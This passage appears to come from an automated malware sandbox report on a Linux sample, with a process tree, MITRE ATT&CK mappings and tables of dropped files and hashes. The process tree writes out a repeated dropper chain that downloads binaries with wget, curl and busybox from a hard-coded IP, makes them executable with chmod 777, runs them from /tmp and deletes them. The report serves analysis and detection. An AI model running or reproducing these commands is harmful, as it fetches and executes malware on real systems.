  curl -O http://216.126.231.240/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Writes file to tmp directory
  PID:1652
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1653
- /bin/chmod
  chmod 777 CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - File and Directory Permissions Modification
  PID:1654
- /tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  ./CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Executes dropped EXE
  PID:1655
- /bin/rm
  rm CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1656
- /usr/bin/wget
  wget http://216.126.231.240/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1657
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Writes file to tmp directory
  PID:1658
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1659
- /bin/chmod
  chmod 777 lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - File and Directory Permissions Modification
  PID:1660
- /tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  ./lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Executes dropped EXE
  PID:1661
- /bin/rm
  rm lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1662
- /usr/bin/wget
  wget http://216.126.231.240/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1663
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Writes file to tmp directory
  PID:1664
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1665
- /bin/chmod
  chmod 777 CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - File and Directory Permissions Modification
  PID:1668
- /tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  ./CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Executes dropped EXE
  PID:1669
- /bin/rm
  rm CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1670

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk

Path /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	1505	DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	1511	Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	1517	CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	1523	lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	1529	CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	1535	5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	1541	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	1547	g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	1553	SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	1559	SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	1565	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	1571	u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	1577	s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	1583	lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	1589	SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	1595	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	1601	g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	1607	lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	1613	SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	1619	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	1625	u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	1631	s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	1637	Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	1643	DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	1649	5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	1655	CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	1661	lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	1669	CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u